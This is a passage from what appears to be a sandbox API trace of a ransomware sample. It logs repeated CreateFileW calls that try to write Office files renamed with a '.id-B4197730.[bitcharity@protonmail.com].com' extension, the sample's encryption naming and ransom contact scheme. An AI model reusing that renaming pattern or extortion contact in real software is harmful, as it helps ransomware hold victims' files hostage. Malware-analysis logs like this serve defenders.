lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\SNET.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\snet.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.140] CloseHandle (hObject=0x1078) returned 1 [0268.140] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.141] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\SWBELL.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\swbell.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.141] CloseHandle (hObject=0x1078) returned 1 [0268.142] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.142] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\TALK21.COM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\talk21.com.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.142] CloseHandle (hObject=0x1078) returned 1 [0268.144] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.144] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\WANS.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\wans.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.144] CloseHandle (hObject=0x1078) returned 1 [0268.145] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.145] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CA.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.ca.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.146] CloseHandle (hObject=0x1078) returned 1 [0268.151] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.151] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.id.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.152] CloseHandle (hObject=0x1078) returned 1 [0268.153] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.153] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.in.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.153] CloseHandle (hObject=0x1078) returned 1 [0268.154] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.154] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.jp.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.155] CloseHandle (hObject=0x1078) returned 1 [0268.156] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.156] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.kr.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.156] CloseHandle (hObject=0x1078) returned 1 [0268.157] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.157] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.nz.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.157] CloseHandle (hObject=0x1078) returned 1 [0268.158] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.158] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.th.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.160] CloseHandle (hObject=0x1078) returned 1 [0268.162] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.162] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.co.uk.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.162] CloseHandle (hObject=0x1078) returned 1 [0268.165] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.165] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.ar.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.166] CloseHandle (hObject=0x1078) returned 1 [0268.911] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.911] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.au.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.911] CloseHandle (hObject=0x1074) returned 1 [0269.826] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.826] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL102.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl102.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.158] CloseHandle (hObject=0x1278) returned 1 [0270.541] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.541] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN111.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn111.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.227] CloseHandle (hObject=0x1114) returned 1 [0271.391] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.391] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BANNER.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\banner.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.391] CloseHandle (hObject=0x1114) returned 1 [0271.396] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.396] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGNAVBAR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgnavbar.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.396] CloseHandle (hObject=0x1114) returned 1 [0271.516] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.516] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPICCAP.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgpiccap.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.517] CloseHandle (hObject=0xff8) returned 1 [0271.518] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.518] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPQUOT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgpquot.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.519] CloseHandle (hObject=0xff8) returned 1 [0271.520] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.520] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPUNCT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgpunct.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.520] CloseHandle (hObject=0xff8) returned 1 [0271.521] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.521] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGREPFRM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgrepfrm.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.521] CloseHandle (hObject=0xff8) returned 1 [0271.522] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.522] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSIDEBR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgsidebr.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.525] CloseHandle (hObject=0xff8) returned 1 [0271.527] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.527] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSIDEBRV.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgsidebrv.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.527] CloseHandle (hObject=0xff8) returned 1 [0271.528] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.528] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSTORY.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgstory.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.529] CloseHandle (hObject=0xff8) returned 1 [0271.529] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.530] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSTORYVERT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgstoryvert.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.530] CloseHandle (hObject=0xff8) returned 1 [0271.531] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.531] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGTOC.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgtoc.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.531] CloseHandle (hObject=0xff8) returned 1 [0271.532] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.532] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBAD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebad.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.533] CloseHandle (hObject=0xff8) returned 1 [0271.534] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.534] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBBTN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebbtn.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.534] CloseHandle (hObject=0xff8) returned 1 [0271.535] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.535] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBCAL.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebcal.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.535] CloseHandle (hObject=0xff8) returned 1 [0271.536] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.536] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBHD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebhd.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.536] CloseHandle (hObject=0xff8) returned 1 [0271.541] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.541] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBPQT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebpqt.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.541] CloseHandle (hObject=0xff8) returned 1 [0271.542] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.542] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: 